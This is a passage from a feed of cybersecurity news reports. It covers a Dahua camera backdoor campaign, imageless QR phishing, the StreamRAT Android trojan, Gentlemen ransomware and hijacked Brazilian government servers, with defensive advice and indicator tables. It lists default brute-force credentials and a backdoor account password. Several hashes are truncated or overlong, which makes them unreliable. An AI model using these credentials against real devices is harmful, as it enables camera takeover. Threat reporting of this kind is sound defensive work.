SHA-256	815a41a0c0426ffec3c9ad08e1fb125a040cf0e41acce2a86b891aeb08648d61	/task/mac
SHA-256	42620128470e26d473a128f354b77ca2c5fe9e5782e7addc1e3f863dbd0cd9b0	node-v20.11.1-darwin-x64/bin/parser.js
SHA-256	4c025bda19d6b7b1f9cc209876099b20130a198c18ae22b7809470dde93c62db	node-v20.11.1-darwin-x64/bin/scdata
SHA-256	b07f46962c409cb854e34e06abcfc616edcc5a554a43cfac8f4f26cb818a340d	node-v20.11.1-darwin-x64/bin/ldata

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post 14 Fake macOS Installers Linked to DPRK Campaign Deliver Credential-Stealing RAT appeared first on Cyber Security News.

A large campaign has compromised more than 14,000 internet-connected Dahua cameras, exposing how vulnerable surveillance equipment can become a gateway to video feeds and device settings.

The operation ran for 35 days, and hit devices worldwide, with confirmed compromises centered in Ukraine and Russia. It shows how unattended devices can create durable, long-lasting hidden access for intruders.

The operator scanned for exposed camera management services, tried weak credentials, and used two known authentication-bypass flaws against unpatched devices.

It also used a cloud relay path that can reach cameras behind network address translation by serial number, so even non-public devices could be targeted.

Analysts at Hunt.io identified the activity after finding an openly exposed operator directory containing 2,616 files and campaign tooling.

Hunt.io said in a report shared with Cyber Security News (CSN) the recovered material revealed parallel attack paths, persistent access, and an unrelated Windows payload.

The impact goes beyond unauthorized viewing. The toolkit collected credentials, captured camera snapshots, and exported device records in a format designed for large-scale administration.

Researchers also found offline recovery-code generation, creating a route to administrative resets that can remain useful even after a device owner changes a password.

Dahua Camera Backdoor Survives Password Changes

The most serious finding is persistence. After gaining administrator access through CVE-2021-33044 or CVE-2021-33045, the tool adds a separate account through the camera’s remote management interface.

That account is stored independently from the main administrator password, so changing the password does not remove it. On most affected firmware, a factory reset also fails to erase the hidden access. Hunt.io counted 1,923 cameras carrying the account.

That changes the response from a routine password reset into a compromise investigation, especially for organizations using cameras at sensitive sites.

The two flaws used for initial entry have patches available, yet exposed and unpatched cameras remain attractive targets. Readers can see why direct exposure matters in this coverage of threat actors targeting IP cameras, which also tracks authentication weaknesses affecting surveillance devices.

One exploit path impersonates a trusted hardware controller, while the other claims the request came from the camera itself. Both can provide administrator access without a valid password.

Researchers cautioned that a label used in the toolkit for the persistent-account technique points to an unrelated vulnerability, so defenders should focus on the observed behavior rather than that incorrect identifier.

Recovery Codes Expand Risk

The campaign also abused a cloud relay capability to find and contact cameras using serial numbers. According to the recovered logs, 89.4 percent of live serials tested returned a channel that did not require authentication.

That route can bypass the protection normally offered by placing a camera behind a home or business router. Attackers then generated recovery codes offline for live devices.

These codes can support password recovery without knowing the current device credentials. This makes the threat more durable: removing the unauthorized account may not end access.

Organizations should audit every camera account, remove the unauthorized account when found, rotate camera and linked recorder credentials, and review whether footage or passwords were accessed.

Administrators should also disable P2P features when they are not needed, restrict the management service to trusted internal networks, and apply the vendor update that fixes the two bypasses.

Unpatched-camera abuse also appeared in Iranian operations targeting US networks, underlining that camera security is now an operational concern, not a minor maintenance task.

Firmware updates are essential because they prevent new recovery codes from being generated and cause earlier codes to be refreshed and eventually invalidated.

Network teams should alert on suspicious controller or loopback login patterns, while Windows teams should investigate broad security-tool exclusions.

For broader context on the risks posed by exposed video equipment, see the FBI warning on webcam and DVR attacks and the analysis of automated camera exploitation toolkit.

Indicators of compromise (IoCs):-

Type	Indicator	Description
IPv4	154.86[.]119.60	Operator server that exposed the open directory and staged payloads
IPv4	185.132[.]53.56	Second host where the identical Windows payload was identified
Domain:Port	easy4ipcloud[.]com:8800	Dahua P2P relay endpoint abused in the campaign; legitimate infrastructure, not inherently malicious
URL	vk[.]com/wall-163997495	VKontakte link hardcoded into the operator’s Telegram notification template
Domains	dahuaddns[.]com, quickddns[.]com	Dahua DDNS services used for serial-number enumeration; legitimate infrastructure abused by the operator
Port	37777/TCP	Dahua Easy4IP binary management protocol targeted by the campaign
TLS Subject	rbc[.]ru	Certificate subject presented by the primary host; identified as a widely reused proxy-tool certificate, not a bank-specific compromise indicator
Discord	discord[.]gg/cctv	Community handle included in the recovery-code tool’s console title
Credential	p2pwn / p2password	RPC-installed persistent camera account and primary victim-side artifact
Credentials	admin:admin, 666666:666666, 888888:888888, admin:admin123, default:tluafed	Default credential pairs used by the backdoor tool’s brute-force list
Serial prefixes	AH1058FPAG, 3E02C9DPAA, 7K01F36PCA, 5D03CF3PAJ, 3K04B95PAG, 4J00809PAJ, 3L05AF4PAG, 5E00106PAJ, 5F009F7PAJ, 5K09CA1PAJ, 6E0933FPAZ, 3J03016PAG, 5H01308PAJ	Camera serial prefixes targeted by the serial-number brute-force process
SHA-256	de03a0ae5c7aa0c237ae36a649875f986fd9701ac06857dd214054367ce5090c	Hash for 1.exe / xeno.exe, a UPX-packed Windows payload assessed as SalatStealer
SHA-256	694bfbe44bcd9b4844e15294be74dafe86ff8ae40b8b1067f4dae70a6ef75da8	Compiled Go ELF backdoor tool
SHA-256	be2738c8a2beb55ac484d71c329381f3caabac80664283ad9a24dbab82b5b590	Operator copy of the backdoor source archive
Filename	cidrs.txt	Renamed IPDeny Russia CIDR list used to drive scanning activity
Service	Port 8080 "Telemt Panel"	Vite/React service observed on the primary operator host
Windows path	C:\Users\SystemX\Downloads\seria	Development path exposed in a Windows-side test log
PTR	rogue-orbit-ryzhuuxu.expresshost.cloud	Reverse-DNS hostname for the primary host; provider naming convention
Domain	oxycod[.]one	Legitimate personal domain associated with the second host’s pre-existing history
SSH fingerprint SHA-256	570963ee5a1253832c80e95ebb34dca5fe0f6bf7437857dcae511fbb023ed109	SSH host-key fingerprint associated with the primary host
SHA-256	7a963211a052a78899a8881d36b42b55690c02e95c1485f5d78d3cfdb3d2842a	Original serial brute-force script at /CVE-2025-31702-main/dahua-sn-brute2.py
SHA-256	083c9ee06ed2ee1bc0051358b3eeb3242f474eacea4c88b3b10b06d15389b753	Mid-rewrite serial brute-force script at /cve-project/dahua-sn-brute2.py
SHA-256	5f60e5b45ecd67a987bdb1173d6a8063aa20a7946377da4698aaba3ebe72d088	Fully Russified serial brute-force script at /cve-2025-31702/dahua-sn-brute2.py
SHA-256	4a4a346df72c839272ea835e4717cd88f843333b3563e745e657895347ea3dbe	Active serial brute-force launcher at /cve-project/start_all.sh

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post Dahua Camera Backdoor Survives Password Changes and Factory Resets on Compromised Devices appeared first on Cyber Security News.

You've had your iPhone stolen. A day later, you get a text from Apple saying they've found it, and a very helpful woman called Alice from Apple Support calls to walk you through recovering it. She's polite. She's professional. But she is not from Apple. She's not even human. And she's about to break into your iPhone. Meanwhile, OpenAI, Anthropic, and Meta have all announced - with varying degrees of drama - that their AI agents have "broken out of the sandbox" and gone hacking. James takes a step back and asks the awkward question: is this really an emergent AI apocalypse, or did they just leave the door open? All this and more in episode 483 of the "Smashing Security" podcast with cybersecurity expert and keynote speaker Graham Cluley, and special guest James Ball.

Hackers are using QR codes without image files to slip past email defenses. The tactic turns email markup into a scannable code, routing recipients to a phishing page while depriving many security tools of the image object they expect to inspect.

QR phishing moves victims from a monitored work computer to a mobile device. A scan can conceal the destination until the phone opens it, and attackers may use the landing page to steal sign-in details, session data, payment information, or deliver a harmful download.

Analysts from PhishU Framework identified the technique after examining a form of quishing that builds a QR pattern directly in an email body. It reflects the shift in which attackers alter delivery formats as mail gateways improve at detecting known lures.

PhishU Framework said in a report shared with Cyber Security News (CSN) that the approach can display even when remote images are blocked.

The report describes a gap, not an unstoppable attack: defenses that render the entire message visually and inspect the result can still identify the code.

Hackers Use QR Codes With No Images

Traditional email QR scams include a bitmap in an attachment or message body. A secure email gateway can extract that image, decode the embedded link, and examine redirects before deciding whether the email poses a risk.

The new method removes that starting point. They can arrange black and white squares with HTML tables or text-like block characters, so the mail client draws a QR code as part of its layout.

A phone camera sees the same valid pattern, but an image-only scanner may see only text and styling instructions. That distinction explains why the technique can sidestep controls built for traditional attachment and image-based scams.

A imageless QR-code phishing campaign showed how dense HTML tables can create a working code that redirects victims to hostile websites.

The attack exploits a familiar human weakness. An email that appears to be an invoice, shared document, security alert, or account notice can pressure a recipient to scan rather than examine a clickable link.

Recent email phishing threat figures show QR lures remain a material part of phishing activity as criminals adapt attachments and delivery methods.

Defenders Need Visual Inspection

The central lesson for security teams is to stop treating the absence of an image as proof that no QR code is present.

Mail protection should render suspicious HTML as a recipient would see it, scan the visual result for QR patterns, and inspect any recovered destination before allowing the message through.

Detection rules can also look for unusually dense grids of tiny alternating cells, repeated color attributes, or blocks of characters arranged in a fixed-width pattern.

These signals are not automatically malicious, but they give analysts a reason to review an email whose design does not match normal business communication.

Administrators should retain remote-image blocking, but should not rely on it as a complete quishing defense. They should test their email path using authorized simulations, confirm whether markup-built codes are detected, and review link protection after delivery.

Guidance on QR-code attack response guidance also stresses previewing decoded links and avoiding sign-in or payment details on a site reached from an unexpected code.

For employees, the safest response is behavioral rather than technical: do not scan an unsolicited QR code just because an email says it is urgent.

Verify the request through a known channel, inspect the decoded address before opening it, and use phishing-resistant sign-in methods where possible.

The risk becomes sharper when attackers use a trusted mailbox, as credential theft through compromised mailboxes can make a lure appear legitimate.

This development is another reminder that email security must evaluate what a message does, not merely what files it contains.

QR codes assembled from markup are still visible to people, so layered filtering, careful inspection, and user awareness remain the most reliable way to reduce the chance that a scan becomes an account compromise.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post Hackers Use QR Codes With No Images to Bypass Email Security appeared first on Cyber Security News.

StreamRAT is a new Android banking trojan that gives criminals broad control of an infected phone. It pairs streaming offers with screen viewing, remote actions and deceptive login windows, turning an app download into an account takeover.

The campaign targeted Spanish-speaking Android users through advertisements on Meta platforms and TikTok. One observed advertising push reached 570,000 Meta users between 11 June and 3 July 2026, mainly in Spain. It identified the malware while tracking the streaming-themed Steamtv Esp campaign.

The operators used a phishing site and a multi-stage installation process to steer visitors toward installing an Android package outside official channels.

Threat Fabric said in a report shared with Cyber Security News (CSN) that the download chain drew on a GitHub repository linked to Mirax distribution, showing how the operators reused delivery infrastructure while changing the final payload.

The operation matters because StreamRAT blends banking fraud functions with tools that let an operator watch and manipulate a device in real time.

Its control panel also appears designed for a malware-as-a-service model, which could allow customers to run campaigns using the same framework.

StreamRAT Uses VNC and Accessibility for Device Control

After installation, StreamRAT asks the victim to enable Android Accessibility Services, a legitimate feature intended to assist users.

In the wrong hands, that permission can read what is on screen and perform actions such as taps, swipes, returning home or opening notifications, as seen in other Android banking malware campaigns.

The trojan supports two viewing modes. Its VNC option uses Android’s screen-capture system, while hidden VNC takes repeated screenshots through Accessibility without a direct screen-sharing indicator. Both give attackers a view of the phone and support remote interaction.

StreamRAT can also rebuild the screen as structured interface text, capture typed data, list installed applications and show credential-stealing overlays.

A black screen or a fake update screen can block the victim’s touch input while the operator continues working in the background, a pattern related to abuse of Android accessibility.

The result is more than spying. An operator can monitor the app a victim opens, deliver a matching fake page, collect details entered there and use intercepted unlock information to access the device. That combination puts banking sessions, messages and other sensitive accounts at risk.

Delivery Chain and Evasion Risks

The infection begins with social-media advertisements posing as a free television-streaming service. The lure site checks whether a visitor uses Android, adjusts its instructions for the app used to open it and guides the person through enabling unknown-source installation and Accessibility permissions.

A first-stage dropper tries to become the default home application, keeping the victim inside its interface when they press the Home button. It then retrieves and installs the final payload.

Similar social engineering has featured in phone based banking fraud, where attackers rely on urgency and familiar-looking screens rather than a software flaw.

Before downloading the final malware, the dropper can create a deliberately broken VPN connection that disrupts internet access while excluding itself.

Researchers assess this may hinder online reputation checks or cloud-based analysis, although it does not fully defeat offline protection.

StreamRAT communicates with its command server through WebSocket connections and avoids wasting bandwidth by skipping duplicate screen and interface data.

That engineering focus mirrors the WebSocket mobile threat evolution seen in other Android threats and suggests an effort to make remote operations reliable at scale.

Users should avoid APK downloads offered through advertisements, messages or unofficial websites, especially services promising free streaming or urgent updates.

They should deny unexpected requests for Accessibility, unknown-app installation or VPN access, and remove unfamiliar apps promptly. An app that combines installation capability with VPN permissions deserves immediate scrutiny.

For organisations, mobile-device monitoring should flag unusual Accessibility activity, unexpected screen-capture requests, default-launcher changes and newly installed apps from outside managed stores.

Security teams can also watch for the indicators below, while treating the values as detection leads rather than proof that every matching device is compromised.

Indicators of compromise (IoCs):-

Type	Indicator	Description
SHA-256	e0714788b4e2518b0d9d4cbf18c7217bb97718e01689d77338f1cc4a230fcb6c	StreamRAT-related Android application sample
Package name	io.base.one887	Package associated with the StrεαmTV Pro application
Application name	StrεαmTV Pro	Application name used by the StreamRAT-related sample
SHA-256	ba83cc3c9535690191018edf73ca5c6001609df9919462796aa2e551f142e4d3	StreamRAT-related Android application sample
Package name	io.meat.hint	Package associated with the Sistema de vídeo application
Application name	Sistema de vídeo	Application name used by the StreamRAT-related sample
C2 IP address	45.147.28[.]59	StreamRAT command-and-control infrastructure
C2 IP address	193.32.2[.]245	StreamRAT command-and-control infrastructure

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post New StreamRAT Android Trojan Gives Hackers Full Remote Control Through VNC and Accessibility appeared first on Cyber Security News.

The Gentlemen ransomware operation is moving from access to full network encryption at striking speed. In some intrusions, attackers disabled defenses and recovery services before deploying ransomware in less than 24 hours across enterprises.

The group runs as a ransomware-as-a-service operation, meaning affiliates can strike organizations they can reach. Its double-extortion approach adds pressure: files are stolen first, then encrypted, leaving victims facing a data leak as well as operational disruption.

Analysts at Sophos examined 15 incidents linked to the group, tracked as GOLD SHERWOOD, and found a repeatable playbook.

The findings show how a small window after a suspicious login can quickly become a business-wide outage.

Sophos said in a report shared with Cyber Security News (CSN) that initial access appears to come from exposed firewall management interfaces, unpatched devices, or stolen VPN credentials.

A Fortinet SSL VPN account without multi-factor authentication gave the intruder a foothold, underlining why FortiOS authentication bypass vulnerability remains a serious concern for exposed infrastructure.

The Gentlemen Ransomware Hackers Disable EDR

Once inside, the affiliates moved across systems using legitimate domain credentials and Remote Desktop Protocol.

They placed their toolkit in a trusted Windows location that is often overlooked, then mapped systems, data stores, and backup infrastructure before the visible stage of the attack began.

They increased their control by changing administrator passwords, adding accounts to privileged groups, and enabling remote desktop access.

In several cases, they created firewall rules to allow outside RDP connections, providing a fallback route if the originally compromised VPN session was lost.

Next, they removed obstacles to encryption. Attackers used custom and publicly available utilities, including vulnerable drivers, to terminate antivirus and endpoint detection and response processes.

They also weakened Windows Defender by adding broad scan exclusions or changing policy settings. A recent report on ransomware operators disable EDR shows the broader pattern of crews stopping security and backup software before spreading across a network.

In this campaign, the effort was deliberate rather than incidental, with multiple approaches used when one method failed. Backup services were then disabled, often immediately before encryption.

They targeted recovery and backup-agent services, making it harder for teams to restore systems. In one intrusion, they also cleared Application, System, and Security event logs, obscuring the evidence responders need to trace the breach.

Rapid Encryption Playbook

Before locking systems, the group copied selected files with legitimate transfer tools. It commonly focused on newer data and used filters to reduce the volume transferred, which can make outbound activity less obvious while still collecting material valuable for extortion.

Affiliates adapted their process. Researchers saw them switch among transfer utilities and object-storage methods as conditions changed.

That flexibility resembles other attacks against remote infrastructure, including Gunra ransomware VPN attacks, where exposed access points can quickly lead to high-impact ransomware activity.

The median interval from first observed post-compromise activity to ransomware deployment was about two days. The shortest observed period was under 24 hours, leaving little room for manual investigation after an attacker gains entry.

The locker was deployed locally, through network shares, or across the domain using centralized logon shares and remote execution.

It encrypted files, assigned a six-character extension, and left a ransom note in affected directories. Although Windows was the only version deployed in the reviewed cases, related builds also support Linux and ESXi environments.

The pace makes prevention and early detection equally important. Organizations should patch internet-facing firewalls and VPN appliances, require MFA for every remote-access account, restrict RDP exposure, and closely review new privileged accounts. The Fortinet security update guidance provides useful context on fixing a flaw tied to the access methods investigated.

Teams should also alert on unusual activity from system staging folders, unfamiliar data-transfer utilities, Windows Defender exclusions, disabled backup services, cleared logs, and attempts to load vulnerable drivers.

Separating backups from ordinary administrator control and testing recovery plans can prevent attackers from turning a single compromised account into a prolonged outage.

Indicators of compromise (IoCs):-

Type	Indicator	Description
MD5	622b2ca08552535bc142cb815ff9ec16	Sophos-listed threat indicator
SHA-1	f0bc50d2d2838c5294e21cd9bce2f09bf581e508	Sophos-listed threat indicator
SHA-256	a348f5fa048a09188bd706fd3d4efca978990caf3355ecfee501c9f1e19c	Sophos-listed threat indicator
MD5	4741a4976c6abfb3c80c170104518b6e	Sophos-listed threat indicator
SHA-1	be8c52474ab79a52af31e3cb2f71638299a0de1d	Sophos-listed threat indicator
SHA-256	ddba5b4e7a7ada77d56477e9d41c008f93e81d9a33ed09e77cb2af624f	Sophos-listed threat indicator
MD5	738df7ae0097f6bef93d65be5d4a2a26	Sophos-listed threat indicator
SHA-1	c96baab9b7e7ef661921d44d7900f165c794ed25	Sophos-listed threat indicator
SHA-256	1a9291ec869155336bf185d221d655d11c77a55ea0c8ecc0274202f74a9	Sophos-listed threat indicator
MD5	d8691ef15eea27cfefafeeb485286080	Sophos-listed threat indicator
SHA-1	8bca55b3c9bfbdf68c9b6c72a7b1bf1dd6d5e3b2	Sophos-listed threat indicator
SHA-256	3c71537b64487bbf4d1793f72c75d332650d09a77b71e4d884ff15c266a	Sophos-listed threat indicator
MD5	b23b653541bd95bdc4da07a0b07b57bf	Sophos-listed threat indicator
SHA-1	f0537cbb773ae12100b36731e7c39f5a9d852b14	Sophos-listed threat indicator
SHA-256	50f2cdf16f05da9253fa2d6eb60d5a42da14c02c551c0874c9e953d4119	Sophos-listed threat indicator
SHA-256	bf7a2fb7f7256809dc690213b85f747cef8db7b909caf9783cac181912fb	Sophos-listed threat indicator
SHA-256	761ce72420edf5e5531cdbad0e93397d7520cdead825886ca7f75cef76	Sophos-listed threat indicator
MD5	002417da707b93bf5ce3cb26d28005f6	Sophos-listed threat indicator
SHA-1	8732c1ff565828a0bdef514b5dc0dfea40c1d1f2	Sophos-listed threat indicator
SHA-256	81053c2c3be8b7dbf7d5087dba05c940b3ee4fd95524272651c816b72c	Sophos-listed threat indicator
SHA-256	7a37acb031cddaa39ad20db0961baa5423ec53f318c49c9275c982507d	Sophos-listed threat indicator
MD5	bc4a8d7bbbeb941265dfc954539326c0	Sophos-listed threat indicator
SHA-1	b7cea81e6de895d01d01d20bd6dcfd347940b57f	Sophos-listed threat indicator
SHA-256	3a31ec3bf9b7eac6593a723145381f5d0f4ede076c4c8818d949a08f559	Sophos-listed threat indicator
SHA-256	68031d549de399a44bb00614b910106baccef5996623b2f1102352a52a	Sophos-listed threat indicator
SHA-1	058c3ff21e79770e4a60937c27b1ede227709248	Sophos-listed threat indicator
SHA-1	9c0b05eb75f971cc25ee979e49b227b86b19e833	Sophos-listed threat indicator
SHA-1	a438ba2122a814320f47a056f04122f81c2ae6c5	Sophos-listed threat indicator
SHA-1	a8ba89e67297642dcc1ae77433ab84e1f27d1792	Sophos-listed threat indicator
MD5	8ea97d01cbf459b94d134d05c54cd33e	Sophos-listed threat indicator
SHA-1	5c9bf6b7e4c7dc9b9227ce86e2d271d624c35147	Sophos-listed threat indicator
SHA-256	0be8f415a485b11747bcfd71c9cd9781e090354728f076791ed6845b69e	Sophos-listed threat indicator
MD5	07e9f0b8627a95960e79e930fb099e84	Sophos-listed threat indicator
SHA-1	56bee9df5833a637f5c54d5911df98b0812fe643	Sophos-listed threat indicator
SHA-256	2d91a78e739891c9854c254f5b2a6b84c0e167dfa253466cbccd2cdd1c	Sophos-listed threat indicator
SHA-256	ccdde8091d63eaafbe30d9f0482afd245abc10ab16e21ae9254e51e42cb	Sophos-listed threat indicator

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post The Gentlemen Ransomware Hackers Disable EDR and Backups Before Encrypting Networks in Under 24 Hours appeared first on Cyber Security News.

Brazilian government websites have been quietly turned into gateways for phishing pages on trusted public domains. Rather than sending victims to obvious scam sites, attackers are using compromised web servers to make fraudulent content look legitimate immediately.

The campaign has targeted Brazilian government and education organizations since mid-2025. Operators deploy a Linux toolkit after gaining access, and use hijacked sites to promote gambling pages disguised as app-download services.

Check Point researchers identified the activity as the work of Gambling Goblin, a Chinese-speaking cybercrime cluster linked with medium-to-high confidence to Earth Berberoka.

Check Point said in a report shared with Cyber Security News (CSN) that the discovery signals a sharp change from Brazil’s largely domestic banking-trojan landscape to a foreign group exploiting public-sector trust.

Trusted domains can boost malicious pages in search results, steer visitors toward fake stores, and make fraud seem official. Researchers also found similar templates in Vietnamese, Spanish, and English, suggesting an operation designed to expand.

Malicious Apache Modules

The attackers’ key tool is a custom Apache module compiled directly on an infected server. A Bash installer checks the operating system, installs the needed Apache development packages, retrieves the C source code, and uses Apache’s own tooling to build and activate the module.

To avoid raising alarms, the installer removes source and build files after deployment. It then changes timestamps on the malicious shared object and configuration files so they resemble ordinary Apache components. This makes a quick server review less likely to expose the intrusion.

One module watches for selected request paths and silently relays them to attacker infrastructure. Visitors remain on a genuine government domain but receive remote phishing content. It also removes browser content-security restrictions, allowing injected scripts and external assets to load.

A second module can inspect the path, referrer, browser details, and client address before deciding what content to display.

It can insert remote material into a web response, enabling selective cloaking and search manipulation. Similar abuse of official domains has appeared in government website phishing campaigns, where domain reputation helps criminal pages seem safe.

The pages observed in this campaign imitate Google Play, Microsoft Store, and Amazon-style download destinations. Fabricated ratings and page data help them look convincing, while the real business model appears to be gambling promotion.

A Toolkit Built for Reach and Evasion

Researchers did not directly observe the initial break-in, but uncovered a scanning agent called cam-agent on exposed infrastructure. It uses reconnaissance tools to map internet-facing systems. That can identify trusted web properties worth abusing.

Once inside, the group can use DownPro to fetch further payloads, including the ChUser backdoor, a password-harvesting tool, AlphaAgent, oRAT, and an SSH credential-testing utility.

Several tools use disguises, encryption, and memory-only unpacking, echoing tactics seen in Linux RAT attacks targeting developers.

AlphaAgent can run commands, move files, create tunnels, collect SSH keys and shell history, and hide under system-service names. oRAT can establish persistence through a service that mimics a legitimate firewall component.

These features support credential theft, movement inside networks, and long-term access. The infrastructure also creates new domains daily, to replace blocked locations.

The report connects its tooling, Chinese-language artifacts, gambling focus, and lookalike-domain behavior to Earth Berberoka. Readers tracking this pattern can compare it with Brazilian government malware delivery and AI-driven phishing site cloning.

Public-sector and education administrators should urgently patch exposed services, review Apache modules and configuration changes, and audit SSH access for weak credentials or unusual login attempts.

They should investigate unfamiliar libraries, altered timestamps, proxy rules, and disguised processes. Administrators should compare loaded modules with approved baselines and verify that each reverse-proxy rule supports a legitimate application.

Teams should preserve logs before cleanup, reset exposed credentials, and inspect nearby systems across their environment for related tools.

The immediate campaign centers on search fraud and gambling traffic, but its fake app-store pages could easily deliver malware.

Organizations must treat a trusted domain as a possible victim, not automatic proof that a page is safe, and monitor public servers accordingly.

Indicators of compromise (IoCs):-

Type	Indicator	Description
SHA-256	232ef6be134c2b7c14648aa193daf7e23e987477b8a40150dd77883947fdf017	Malware sample hash
SHA-256	088d0742a667f1acfc83edb94671a10b951f6745badec6d5c754ef594dddf815	Malware sample hash
SHA-256	88544d36beb6dc621c9376806836d0ad109ece64b589605d5674e0c86313d1c0	Malware sample hash
SHA-256	9d3085eac9a59a94f0473db5ec0173def8777d2f794da281fb1749389ae33cdb	Malware sample hash
SHA-256	263c14e84398339b25cd3e59da7e108340306fdbb8112bbe7dc0f07a71eb8a31	Malware sample hash
SHA-256	12af9d95c44e20a375148c25f8a2978a62ee95489134654c3537ccfb2d42120d	Malware sample hash
SHA-256	5af1bec4635e52da4909bf744ea4b7e4483ec944241218855212f4a9e3d48611	Malware sample hash
SHA-256	e8bb763bd10e727228ca9a8e3e6cf10bf4de4639b6be680a3abfb181a0adc052	Malware sample hash
SHA-256	fa7fc029ac13af2f3880151e9c408e9afadeba7b2cff01659806fb7c3c83288d	Malware sample hash
SHA-256	c3c09fe219e10808f053e580628aeb87b1f00fc683c810aa828905fe03cda98f	Malware sample hash
SHA-256	2567d6b42dac97a391217ad22ee375f504d541940d3fbb9436a3f5e9bb23ab91	Malware sample hash
SHA-256	1829efbf7946e1a958779a3e7f1e50ca63fe61c6a2ddc177c14a7b0c5e10020a	Malware sample hash
SHA-256	f025520d648c7799ca5bed4a9be5bee14ac33be1f1e9b20c090c8c6319404fcf	Malware sample hash
SHA-256	5a11ed7931fb6358846e0f3c8d69921f43f8ccade5937fc41e5c262cc49f82e8	Malware sample hash
SHA-256	0d4a28d5cf7b99f11ffe972abd0284d9e35b6858eeb288532a55633b3e29f9c7	Malware sample hash
SHA-256	5f6d112637545a2e8c1a9f260c39698852c7a22e83db5ccfc99b99d9f6274710	Malware sample hash
SHA-256	c4d2efa57eef0c5defc4ca708ebe35832f8b543cf764beebef56fef6d36d4f69	Malware sample hash
SHA-256	c3c6ab58514cd13638cf049332186ef6d4ec7b256913edb1cd66a19437608882	Malware sample hash
SHA-256	582ecca146a6aef478706e4b2774d6115a9220a18d1db8f92ee54a5118ecebd9	Malware sample hash
SHA-256	3a8f464f1f2b5c38173e2a96f95a690af327d85c13c04d37cf0a91893d487bdb	Malware sample hash
SHA-256	02f5e07dd4c97a3de48cc886f46dad35443f1c221a352630e2c7787806ee21b6	Malware sample hash
SHA-256	16d35a725819142d2bd5bc0949dc518d344d6f63626a517e67fcba7322eb3844	Malware sample hash
SHA-256	a71498bfffae8ac694356b3f2436820b396946c9e71c8915e282c1b2fdba4162	Malware sample hash
SHA-256	d138d5f4fbc77650bc3be1cbf8fbd0ee292aa30eed5feec1ea7ba02e57da932b	Malware sample hash
SHA-256	44373953431d7570d9585c91377dbe8b6527ccc00662d249f383b003b68b459f	Malware sample hash
SHA-256	45b9382d7e91a4178b47c908b9b5f6884de7c5a1ef849fbf01d6c23d06d81b88	Malware sample hash
SHA-256	1eb40363a64e0cad15e340af476d106ccf57ebb6662c1389da1347429ee68c9c	Malware sample hash
SHA-256	fc789397742aee60b01292b071f79b4165981c31aa431eb1577a47c5911381c3	Malware sample hash
SHA-256	adbee84e9a43949b0a816f052ffb3c0b7855e078b985fea95532158c3b9389bc	Malware sample hash
SHA-256	0f26e1ba39ddd1f0a7e6f72bd8c4e02a5f0140de72eeda9fe5ab56402821e31e	Malware sample hash
SHA-256	ab7d531d298f0d77bc7bbbdc36f4f8a1732ceca90ff60e3f225a99b9b10f334e	Malware sample hash
SHA-256	ac99754357bd4a69c1de576977e0ee19c7354f29f7f52a9893b7a60f9c2f5248	Malware sample hash
SHA-256	94aa88ff6222583b2a5b791ddd655837787e31f59483ed91f860857d3399b84a	Malware sample hash
SHA-256	3ad35ea116b2c0855c13459a04699318b3944762385e8a47144f1d03b48f0bb1	Malware sample hash
SHA-256	0611c153bf8b8561ef53f2a5ba1413115bdc0e4554e0c22cf9641bd8845db03e	Malware sample hash
SHA-256	114824bccfafcbb42040f119fdcd3ec48f54eb154ffee6676d06986cba2b0af0	Malware sample hash
SHA-256	297c53d935c501864e15fe7abcfdafed83df9aafdf241094604ae405529c5eb7	Malware sample hash
SHA-256	0963c0034a5e0665729d686d50c5375948c4a684c56770adb13d24ff5df8013d	Malware sample hash
SHA-256	749784fb7846bb3b52dd8c2f660b53d95d5df30387b87b65b584ef9cc781ae52	Malware sample hash
SHA-256	8495598b1fec814d72caf76f1460b132071bb7305335331fed3bac9876c6e40c	Malware sample hash
SHA-256	98e17fe36ff77106bbbb9a04f3e00004bf872b88aab22438076966913ea83322	Malware sample hash
SHA-256	bcd7e5964630c34f06a43e48d696d99d7abae6b679509ad839ffa5179a972838	Malware sample hash
SHA-256	24f7296ac5ce844678c5f7470eaf64b28e870108ca06851c8f66a27a52003f12	Malware sample hash
SHA-256	2de964314a8aacc40897140f6fe21d268e24503a69f9821177e31bca7b1e4035	Malware sample hash
SHA-256	52863d36a216a86b2f90914db2d9229cba7ea317ab5ee9a678cb229087f04611	Malware sample hash
SHA-256	9d513a419bf129a42017b29eb7d084451a4f34be0828f6871439ec79f7f9b5fb	Malware sample hash
SHA-256	d478f867512e18d839180ceafc980c8fb26c3aa7d1c9e96d054819c81afef6f4	Malware sample hash
SHA-256	b88a7f3288bdf4b97d75dad4e47e5cb3d4e0962b12674a08e32e5f96e762e877	Malware sample hash
SHA-256	f4aceaf5c0740093f8040f5e0f29c7582a1bd7ab2bca628d162fb45c29045063	Malware sample hash
SHA-256	2305ae23ea350e31b05b9f071d315ee60c5a88e96ce11be8ff9db16314a6197c	Malware sample hash
SHA-256	99b5404df81992cad104dd242bc736d75fd6c58af34dc1cbf8a75a8ee3c5e1784fa4	Malware sample hash
SHA-256	85b5e95cbb5103202abebf8f84b91a286994e61b33ddef53355ab0df2a2b6d9a	Malware sample hash
SHA-256	cff25a9c84c893e32a9a75c1dae385934cf917f709efa11172a53ea2337fa109	Malware sample hash
SHA-256	154c977a113ff4d94ff2f29f7b93a8d0bd6ad8e67a820c09505117f5d386fd40	Malware sample hash
SHA-256	67ccc12c0a17dc31388a8c851d076edaaf1213e80398b01d46f5a29b8c7b8b9b	Malware sample hash
